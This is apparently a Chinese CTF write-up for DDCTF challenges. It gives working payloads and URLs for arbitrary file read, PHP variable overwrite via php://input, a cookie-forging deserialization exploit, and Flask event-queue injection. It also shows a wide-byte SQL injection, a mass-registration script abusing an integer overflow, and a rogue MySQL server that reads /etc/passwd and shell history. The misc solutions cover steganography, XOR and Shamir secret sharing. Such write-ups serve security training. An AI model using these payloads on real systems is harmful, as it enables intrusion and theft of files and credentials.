WEB
滴~
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
觀察鏈接可發現jpg的值是文件名轉hex再base64編碼兩次得到,由此得到任意文件讀取漏洞
讀取index.php
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
將源碼中的base解碼得到源碼
備注是提示,訪問該博客該日期的文章,得到提示 .practice.txt.swp,最后發現flag文件
結合index.php的邏輯
將f1agconfigddctf.php轉為hex字符串,base64編碼兩次,然后
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
得到f1ag!ddctf.php的源碼,典型變量覆蓋
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
WEB 簽到題
抓包發現有個認證的接口,有個username未填值
嘗試admin成功並給出了一個地址
訪問發現是源代碼
nickname處可注入%s帶出eancrykey
得到eancrykey就可偽造Cookie,偽造成功即可造成反序列化漏洞
Application類可造成任意文件讀取
這里可以雙寫繞過
這里判斷了長度,猜測flag文件路徑為../config/flag.txt
最后payload
<?php Class Application { var $path = '....//config/flag.txt'; } $o=new Application(); $session=serialize($o); echo urlencode($session.md5("EzblrbNS".$session));
Upload-IMG
上傳的圖片會經過二次渲染,插入的多余字符就會被刪除,將其渲染過的圖片用010editor打開會發現是GD
搜索找到相關方法和腳本
https://wiki.ioin.in/soft/detail/1q
初步嘗試多次未成功,后將渲染后的圖片下載后再次用該腳本處理,上傳,成功繞過
homebrew event loop
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5af31f66177e857' def FLAG(): return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' #resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />' def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
首先發現此處action可控,可注入代碼,其后多余部分可用#注釋
利用該點可調用腳本內任意帶參函數,比如調用show_flag_function
然后看到這里,雖然不會顯示flag,但trigger_event中的內容會被記錄到log中,log在session中,而flask 是本地session,讀取本地session就行
最后思路就是,想辦法讓自己num_items大於5后調用get_flag_handler
注意到這里買東西和扣錢的處理是分開的,直覺肯定有問題。正常處理是先buy_handler,這時是不理會points直接增加num_items的,然后馬上consume_point_function,這時才比較points,points不夠的話就回滾session。如果這樣就必須想辦法先調用buy_handler,然后調用get_flag_handler,將consume_point_function排到后面才行
最后利用到trigger_event函數注入event構造出自己想要調用的順序
最終paylaod
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;
或者這樣,只要不超過日志容量且num_items大於等於5就行
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;
用p神腳本解密本地session
歡迎報名DDCTF
一開始報名處存在XSS
用xss平台讀取到源碼后發現一個接口
測出是寬字節注入后就常規操作查數據庫,查表名,列名,最后得到flag。(一開始有看到gbk編碼想到是寬字節,但隨手測試一條payload發現不報錯就沒測了,后悔!,后面實在沒轍了就繼續測試才發現)
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23
大吉大利,今晚吃雞
一開始偽造價格,發現后端按范圍是分別以32位和64位處理,因為64位最大整數+1報錯,32位最大整數+1報錯,然而其中間的某范圍數不報錯。經過測試發現提交32位最大整數*2+2到100的數就可買票,比如4294967296
然后寫腳本注冊小號,主號提交。兩個腳本這樣其實比較麻煩而且費時間,但我就是懶-.-,,沒有整合兩個腳本,最后是第一個腳本跑了足夠多的id和Tiket之后,第二個腳本提交
注冊小號得到id和ticket
import requests import re import time requests=requests.session() def register(username): url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username) res=requests.get(url) return res.text def buy(): url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296' res=requests.get(url) bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1) url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id) res=requests.get(url) return res.text def xx(username): register(username) return buy() f=open('acc10.txt','w') for i in range(0,600): res=xx("l3yx_101_00"+str(i)) time.sleep(3) print res f.writelines(res) f.flush()
主號提交
import requests import re import time requests=requests.session() def login(name,password): url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password) res=requests.get(url) return res.text def submit(id,ticket): url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket) res=requests.get(url) return res.text login('lei','123456789') f=open('acc8.txt','r') for i in f.readlines(): id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1) ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2) time.sleep(2) print submit(id_,ticket_)
mysql弱口令
網站功能是掃描服務器上mysql的弱口令,應該是會用弱口令來連接我的mysql服務端,想到之前見過偽造mysql服務端來攻擊客戶端的騷操作
https://lightless.me/archives/read-mysql-client-file.html
1.服務器啟動mysql偽造腳本,由於我本機裝有mysql,所以該偽造腳本端口設置在3307(網上公開腳本,非原創)
2.服務器啟動agent.py
3.在網頁填寫ip和端口進行掃描
此時偽造服務端的腳本已成功讀取/etc/passwd
繼續讀/root/.bash_history發現入口文件/home/dc2-user/ctf_web_2/app/main/views.py
從入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在數據庫
嘗試讀取數據庫文件/var/lib/mysql/security/flag.ibd無果,貌似是空的???
最后讀取/root/.mysql_history發現flag
MISC
北京地鐵
根據Color Threshold提示測試LSB隱寫,找到一串密文
觀察圖片,發現有兩個位置顏色不同
嘗試用魏公村地名為密鑰解密成功
MulTzor
github找到分析xor的工具
https://github.com/hellman/xortool
猜測是空格最多,所以-c后面是20。腳本得出key最大可能性長度是6,並給出了可能的key
但發現有部分亂碼,而且是每6個字符,第一個字符錯誤,很容易知道是腳本得出的key長度沒有問題,但第一個字符錯了
觀察下面有DCTF{,顯而易見前面那個亂碼是D,所以用這個位置的密文異或上D就能得到key第一位
異或得到key第一位
所以最后key是\x323\xffSY\x8b
WireShark
在HTTP包中找到3張圖片,分別導出字節流
前兩張相似但文件大小不同,第二張體積比較大
最后一個HTTP包還發現一個圖片加密隱藏信息的網站
需要密碼和加密后的圖片
猜測第二張圖片是第一張加密過后的,第三張鑰匙形狀的藏有密碼
最后發現鑰匙圖片是高度隱寫,修改高度后
解密
16進制到文本字符串
聯盟決策大會
參考以下文章
https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
https://blog.mythsman.com/2015/10/07/2/
根據題意猜測,組織1內部需要算出一段數據zh1,組織2內部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最終秘密,需要注意的是就是順序需要多次測試,而且腳本內的_PRIME需要設置為p
最終腳本
from __future__ import division from __future__ import print_function import random import functools _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 _RINT = functools.partial(random.SystemRandom().randint, 0) def _eval_at(poly, x, prime): accum = 0 for coeff in reversed(poly): accum *= x accum += coeff accum %= prime return accum def make_random_shares(minimum, shares, prime=_PRIME): if minimum > shares: raise ValueError("pool secret would be irrecoverable") poly = [_RINT(prime) for i in range(minimum)] points = [(i, _eval_at(poly, i, prime)) for i in range(1, shares + 1)] return poly[0], points def _extended_gcd(a, b): x = 0 last_x = 1 y = 1 last_y = 0 while b != 0: quot = a // b a, b = b, a%b x, last_x = last_x - quot * x, x y, last_y = last_y - quot * y, y return last_x, last_y def _divmod(num, den, p): inv, _ = _extended_gcd(den, p) return num * inv def _lagrange_interpolate(x, x_s, y_s, p): k = len(x_s) assert k == len(set(x_s)), "points must be distinct" def PI(vals): # upper-case PI -- product of inputs accum = 1 for v in vals: accum *= v return accum nums = [] # avoid inexact division dens = [] for i in range(k): others = list(x_s) cur = others.pop(i) nums.append(PI(x - o for o in others)) dens.append(PI(cur - o for o in others)) den = PI(dens) num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p) for i in range(k)]) return (_divmod(num, den, p) + p) % p def recover_secret(shares, prime=_PRIME): if len(shares) < 2: raise ValueError("need at least two shares") x_s, y_s = zip(*shares) return _lagrange_interpolate(0, x_s, y_s, prime) p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964 z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1 z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525 z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62 z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] ) z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] ) z=recover_secret( [ (1,z1) , (2,z2) ] ) print( recover_secret( [ (1,p) , (0,z) ] ) )